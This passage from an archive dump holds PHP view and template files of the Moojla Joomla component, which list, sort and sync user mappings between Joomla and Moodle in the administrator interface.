(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('user_map.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/user_maps/tmpl/default_body.php000064400000011040151165724420014030
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=user_maps&task=user_map.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('user_map',$item,'user_maps');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
JFactory::getUser((int)$item->jid)->name; ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'user_maps.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JFactory::getUser((int)$item->jid)->name; ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->mid); ?>
</td>
<td class="hidden-phone">
<?php echo $item->userimage; ?>
</td>
<td class="hidden-phone">
<div><?php
if($item->mid != 0 && $item->jid != 0)
{
echo "<div style='color: green;'>completely
synced</div>";
}
else if($item->jid == 0)
{
echo "Joomla user not exist<br><div
id='div_{$item->id}'>please select this row and press
'Sync to Joomla'<br>If this not work click <a
id='check_{$item->id}' href='#'
data='$item->mid'>this</a> to identify what's
wrong</div>";
}
else
{
echo "Moodle user not exist<br>please select this row and
press 'Sync to Moodle'<br>If this not work click <a
href='#'>this</a> to identify what's wrong";
}
?>
</div>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', true, 'cb');
?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', true, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'user_maps.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/user_maps/tmpl/default_foot.php000064400000002304151165724420014045
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="8"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/user_maps/tmpl/default_head.php000064400000005233151165724420014003
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_JID_LABEL', 'a.jid',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_MID_LABEL', 'a.mid',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_USER_MAP_USERIMAGE_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_USER_MAP_DEBUG'); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_USER_MAP_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/user_maps/tmpl/default_toolbar.php000064400000007054151165724420014547
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search User_maps'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/user_maps/tmpl/index.html000064400000000054151165724420012656
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_maps/view.html.php000064400000020134151165724420012334
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the User_maps
*/
class MoojlaViewUser_maps extends JViewLegacy
{
/**
* User_maps view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('user_maps');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('user_map');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_USER_MAPS'),
'contract');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=user_maps');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('user_map.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('user_map.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('user_maps.publish');
JToolBarHelper::unpublishList('user_maps.unpublish');
JToolBarHelper::archiveList('user_maps.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('user_maps.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->user->authorise('user_map.sync_to_moodle',
'com_moojla'))
{
// add Sync to Moodle button.
JToolBarHelper::custom('user_maps.syncToMoodle', 'upload
custom-button-synctomoodle', '',
'COM_MOOJLA_SYNC_TO_MOODLE', 'true');
}
if ($this->user->authorise('user_map.sync_to_joomla',
'com_moojla'))
{
// add Sync to Joomla button.
JToolBarHelper::custom('user_maps.syncToJoomla',
'download custom-button-synctojoomla', '',
'COM_MOOJLA_SYNC_TO_JOOMLA', 'true');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'user_maps.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('user_maps.trash');
}
if ($this->canDo->get('core.export') &&
$this->canDo->get('user_map.export'))
{
JToolBarHelper::custom('user_maps.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
}
}
if ($this->user->authorise('user_map.fetch_moodle_users',
'com_moojla'))
{
// add Fetch Moodle Users button.
JToolBarHelper::custom('user_maps.fetchMoodleUsers',
'arrow-down-2 custom-button-fetchmoodleusers', '',
'COM_MOOJLA_FETCH_MOODLE_USERS', false);
}
if ($this->user->authorise('user_map.fetch_joomla_users',
'com_moojla'))
{
// add Fetch Joomla Users button.
JToolBarHelper::custom('user_maps.fetchJoomlaUsers',
'users custom-button-fetchjoomlausers', '',
'COM_MOOJLA_FETCH_JOOMLA_USERS', false);
}
if ($this->canDo->get('core.import') &&
$this->canDo->get('user_map.import'))
{
JToolBarHelper::custom('user_maps.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('user_maps');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_USER_MAPS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_maps.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.jid' =>
JText::_('COM_MOOJLA_USER_MAP_JID_LABEL'),
'a.mid' =>
JText::_('COM_MOOJLA_USER_MAP_MID_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}